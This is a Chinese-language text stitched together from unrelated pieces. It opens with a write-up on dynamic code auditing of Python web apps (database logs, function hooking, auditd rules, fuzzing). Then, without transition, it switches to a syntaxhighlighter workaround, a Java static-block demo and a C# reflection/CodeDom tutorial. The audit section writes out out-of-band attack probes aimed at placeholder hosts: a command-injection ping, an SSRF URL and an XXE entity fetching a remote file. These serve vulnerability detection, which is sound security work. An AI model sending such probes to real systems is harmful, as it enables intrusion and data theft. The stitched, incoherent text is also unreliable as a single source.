动态代码审计的用处


大型项目代码结构复杂   
有些危险的功能隐藏较深（危险的定时计划任务、sqlite数据库任意创建导致任意文件覆盖……）      
提高效率，希望通过一些黑盒的方法比较快速的找到漏洞。    




常见漏洞分类


数据库操作
敏感函数的调用和传参
文件读写操作
网络访问操作




正文目录


数据库general log 日志  
hook关键函数  
结合auditd     
http盲攻击  
fuzzing  




数据库日志

general-log是记录所有的操作日志,不过他会耗费数据库5%-10%的性能,所以一般没什么特别需要,大多数情况是不开的,例如一些sql审计和代码审计等,那就是打开来使用了 

Mysql通过命令行的方式打开general log:



set global general_log_file='';
set global general_log=on;

Postgresql 通过编辑配置文件打开general log:

编辑：postgresql.conf   



log_directory = 'pg_log'                    
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
log_statement = 'all'


打开之后用burp向web api发送一些包含sql注入的畸形数据 



利用Linux的grep指令过滤出sql执行中的ERROR关键字，就可以很快的找到sql注入漏洞

   



Hook关键函数

根据基于python的自动化代码审计和pyekaboo这两个文章的启发而来  

Python对象可以被轻易的改变，通过设置PYTHONPATH这个环境变量，使python在加载string这个模块的时候优先加载我自定义的string模块，下图演示的是劫持string模块的upper函数 

  

之后我的思路是，通过劫持python的函数，把输入到危险函数的参数输出到日志中，最后调用正常的python函数

   

这样就可以劫持我们认为敏感的函数

劫持模块的demo：   



import imp
import sys
class _InstallFcnHook(object):
    def __init__(self,fcn):
        self._fcn=fcn

    def _pre_hook(self,*args,**kwargs):
        print "hook:"+str(args)
        return (args,kwargs)
    def __call__(self,*args,**kwargs):
        (_hook_args,_hook_kwargs)=self._pre_hook(*args,**kwargs)
        retval=self._fcn(*_hook_args,**_hook_kwargs)
        return retval

fd,pathname,desc=imp.find_module(__name__,sys.path[::-1])
mod =imp.load_module(__name__,fd,pathname,desc)

system=_InstallFcnHook(system)


劫持效果： 

  

这就意味着我们可以劫持危险的函数，把参数输出到日志里面，通过日志信息，可以判断这些参数是否可以被输入控制。通过这种方式可以方便找到ssti、pickle反序列化漏洞和命令执行漏洞等其他的漏洞 

   

而且这些可以很方面的拓展到其他的模块中 

1. cd hook/   #进入到hook模块所在目录 

2. cp os.py xxx.py   #把os模块复制一份，xxx模块是你想hook的模块 

3. 编辑xxx.py ：注释掉原来被hook的函数，添加想要hook的函数，下面的示例是hook了subprocess模块中check_call函数   

  

Ps:需要填一些坑： 

1. 修改启动代码从shell中启动python web 

因为有一些python web是从wsgi中启动的，这些只要简单修改启动代码就可以从WSGI方式启动切换到shell启动 

2.  从内存中删掉已加载的模块 

一些模块通过import动态导入，需要在动态导入后通过del modules删掉被装载的模块 

3. 关闭调试选项 

例如在flask启动时将debug选项设置为false，否则会产生两个python进程 

4. 其他问题 

Python web性能下降、代码不兼容、有些模块无法被hook，其中python的内置函数open就无法通过这样的方式被hook。



结合Auditd

网上有很多方法去获取python web的文件读写操作，其中有一种是在文件读写函数前面添加装饰器，但是我觉得那种方法太过于烦琐，且不能覆盖到所有的文件读写操作，那怎么不通过修改原始代码去获取文件读写操作？ 

可以利用Auditd： 

auditd（或 auditd 守护进程）是Linux审计系统中用户空间的一个组件，其可以记录Linux中文件，进程等操作,且安装方便 

CentOS 默认安装 

Ubuntu 安装：apt-get install auditd 

只要简单的配置就可以监视一些文件操作 



sudo auditctl -a exclude,always -F msgtype!=PATH -F msgtype!=SYSCALL    #记录文件操作
sudo auditctl -a always,exit -F arch=b64 -S execve -k rule01_exec_command  #记录所有的shell指令的执行
sudo auditctl -a always,exit -F pid=$mypid    #记录指定进程文件操作


执行 sudo auditctl -l 查看所有的规则 

   

只要发送一些包含目录跳转的畸形数据给webapi，如有任意文件读取的漏洞就可以很快的发现。 

因为Auditd日志中包含大量其他的日志，通过grep和关键字高亮工具（https://github.com/paoloantinori/hhighlighter）进行查看日志（grep过滤PATH，高亮name）   

   

除了记录文件读取，还能记录文件的其他操作 

   

这样就可以找到： 

1. 任意文件上传 

2. 任意文件创建 

3. 任意文件读取 

4. 任意文件删除



http盲攻击

怎么解决诸如ssrf等网络操作的问题？ 

ssrf攻击可以让黑客越过防火墙来探测或者攻击一个大型企业的内网  

   

那么在动态代码审计过程中就可以通过构造特定的poc，来探测代码中是否有对应的漏洞 

可以构造请求dns解析的数据 

1. 命令执行的常见形式



Ping –c 1 xxx.pw



ssrf的常见形式




url=http://xxx.pw



xxe的常见形式




<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://xxxx.pw/text.txt" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>


通过dns日志的记录可以很快找到诸如ssrf、xxe、命令执行等，包括可以找到一些隐藏的比较深的定时计划任务的中漏洞 

   



fuzzing

做完上面的一些工作之后，我在想如何提高我的工作效率，毕竟我们部门产品众多，但是代码审计这个工作只有我一个在做。我把正常数据，畸形数据，poc数据，等其他数据全发给web api，然后在审计数据库日志，危险函数日志，auditd日志，dns日志，web报错日志，希望能从日志中发现潜藏的漏洞



利用burp的intruder这个功能就可以实现，测试用例可以使用wooyun提供的fuzzing数据 



Ps:还是有几个自己需要处理的问题


需要根据自己的业务类型制定自己的测试用例
自己要想办法处理产生的大量的日志
其他问题




未来要做的事情


自动化部署客户端
开发一个日志处理平台
尽可能的覆盖更多的漏洞类型
丰富测试用例
开源      （ https://github.com/niexinming/python_hook）


议题ppt下载地址：https://download.csdn.net/download/niexinming/10635389

    syntaxhighlighter在版本4.0之后，采用webpack进行打包，没有在window中定义全局变量syntaxhighlighter，所以调用接口高亮动态载入的代码较为麻烦，经过研究，方法有二： 

    1.采用requirejs加载syntaxhighlighter，每载入一次动态代码模块，就加载一次syntaxhighlighter，代码示例如下：

$("#container").load("syncode.html", function() {   
    require(["syntaxhighlighter"]；
});

2.修改syntaxhighlighter的代码文件，在文件中定义全局变量syntaxhighlighter，代码如下：


 window.syntaxhighlighter = __webpack_require__(1)；//放置在return __webpack_require__(0);之前

然后载入动态代码模块后，手动调用高亮api，代码示例如下：


$("#container").load("syncode.html", function() {
     syntaxhighlighter.default.highlight();
 });

一来般来，静态代码块，在整个系统的生命周期中只执行一次，在构造方法之前执行，动态代码块，在系统中每实例化一次，就执行一次，而且在构造方法执行之前执行。



class AB {
    static{
        System.out.println("我来了。。。AB");
    }
    private static AB obj = new AB();
    public static int num1 ;
 
    public static int num2 = 0;
 
    private AB() {
        System.out.println("我来了。。。AB构造函数");
        num1++;
        num2++;
        // ystem.out.println(+num1);
        // ystem.out.println(+num2);
    }
 
    public static AB getInstance() {
        System.out.println("我来了。。。实例");
        return obj;
    }
}
    public class CsdnTest {
        static{
            System.out.println("我来了。。。CsdnTest");
        }
        public static void main(String[] args) {
            System.out.println("我来了。。。main");
            AB obj = AB.getInstance();
            System.out.println("obj.num1=" + obj.num1);
            System.out.println("obj.num2=" + obj.num2);
            double f = 111231.5585; 
            BigDecimal b = new BigDecimal(f); 
            double f1 = b.setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue();
            System.out.println(f1);
        }
    }

http://www.cnblogs.com/firstyi/archive/2008/03/07/1094652.html
在软件开发尤其是框架和底层开发时，为了更灵活的控制代码，常常需要进行一些动态的操作。比如根据用户的输入等动态的调用类中的方法或者根据数据库表结构、用户要求动态的生成一些类，然后再动态的调用类中的方法。当然使用这些方式时会对性能有一点影响，具体使用过程中可以根据实际情况来定，不过一般的B/S开发中主要的瓶颈还是在数据库操作和网速方面，这点影响应该可以忽略的。
下面我就从这两个方面来说说动态代码的使用：
一、反射的使用
可以使用反射动态地创建类型的实例。将类型绑定到对象，或从现有对象中获取类型。然后，可以调用类型的方法或访问其字段和属性。
需要使用的命名空间：System.Reflection
反射的功能很多，下面的例子主要是看一下怎么动态的调用类中的方法。
class ReflTest1
    {
        private string _prop1;
        public string Prop1
        {
            get { return _prop1; }
            set { _prop1 = value; }
        }
    
        public void Write1(string strText)
        {
            Console.WriteLine("111111111:" + strText);
        }
        public void Write2(string strText)
        {
            Console.WriteLine("222222222:" + strText);
        }
        public void MyWrite(string strText)
        {
            Console.WriteLine("3333333333:" + strText);
        }
    }
这个例子中提供了三个方法和一个属性，下面的代码来动态的调用它们：
string strText = "abcd";
BindingFlags flags = (BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Static | BindingFlags.Instance | BindingFlags.DeclaredOnly);
Type t = typeof(ReflTest1);
MethodInfo[] mi = t.GetMethods(flags);
Object obj = Activator.CreateInstance(t);
 foreach (MethodInfo m in mi)
       {
          if (m.Name.StartsWith("Write"))
             {
                 m.Invoke(obj, new object[] { strText });
              }
        }
MethodInfo mMy = t.GetMethod("MyWrite");
     if (mMy != null)
        {
           mMy.Invoke(obj, new object[] { strText });
         }
BindingFlags用来设置要取得哪些类型的方法，然后我们就可以取得这些方法来动态的调用。(当然为了可以循环的调用方法，在方法的命名方面可以自己指定一个规则)
二、动态生成类
我们可以在程序运行过程中调用.NET中提供的编译类，动态的将一段string编译成一个类，然后再通过反射来调用它
需要使用的命名空间：System.CodeDom 
System.CodeDom.Compiler Microsoft.CSharp 
System.Reflection
动态创建、编译类的代码如下：
public static Assembly NewAssembly()
{
    //创建编译器实例。   
    provider = new CSharpCodeProvider();
    //设置编译参数。   
    paras = new CompilerParameters();
    paras.GenerateExecutable = false;
    paras.GenerateInMemory = true;
    //创建动态代码。   
    StringBuilder classSource = new StringBuilder();
    classSource.Append("public   class   DynamicClass /n");
    classSource.Append("{/n");
    //创建属性。   
    classSource.Append(propertyString("aaa"));
    classSource.Append(propertyString("bbb"));
    classSource.Append(propertyString("ccc"));
    classSource.Append("}");
    System.Diagnostics.Debug.WriteLine(classSource.ToString());
    //编译代码。   
    CompilerResults result = provider.CompileAssemblyFromSource(paras, classSource.ToString());
    //获取编译后的程序集。   
    Assembly assembly = result.CompiledAssembly;
    return assembly;
}
private static string propertyString(string propertyName)
{
    StringBuilder sbProperty = new StringBuilder();
    sbProperty.Append(" private   int   _" + propertyName + "   =   0;/n");
    sbProperty.Append(" public   int   " + "" + propertyName + "/n");
    sbProperty.Append(" {/n");
    sbProperty.Append(" get{   return   _" + propertyName + ";}   /n");
    sbProperty.Append(" set{   _" + propertyName + "   =   value;   }/n");
    sbProperty.Append(" }");
    return sbProperty.ToString();
}
 

 
 

propertyString方法就是用来拼写字符串的
整个代码比较简单，主要步骤就是：1、拼写类的字符串  2、调用CSharpCodeProvider类进行编译得到程序集(assembly)
接下来就可以利用之前反射的方法来动态调用这个类中的属性了：
Assembly assembly = NewAssembly();
object Class1 = assembly.CreateInstance("DynamicClass");
ReflectionSetProperty(Class1, "aaa", 10);
ReflectionGetProperty(Class1, "aaa");
object Class2 = assembly.CreateInstance("DynamicClass");
ReflectionSetProperty(Class1, "bbb", 20);
ReflectionGetProperty(Class1, "bbb"); 

 
 
 
DynamicClass是我动态类的类名，aaa和bbb是其中的属性
ReflectionSetProperty和ReflectionGetProperty代码如下：
给属性赋值
private static void ReflectionSetProperty(object objClass, string propertyName, int value)
{
    PropertyInfo[] infos = objClass.GetType().GetProperties();
    foreach (PropertyInfo info in infos)
    {
        if (info.Name == propertyName && info.CanWrite)
        {
            info.SetValue(objClass, value, null);
        }
    }
} 
取得属性的值
private static void ReflectionGetProperty(object objClass, string propertyName)
{
    PropertyInfo[] infos = objClass.GetType().GetProperties();
    foreach (PropertyInfo info in infos)
    {
        if (info.Name == propertyName && info.CanRead)
        {
            System.Console.WriteLine(info.GetValue(objClass, null));
        }
    }
}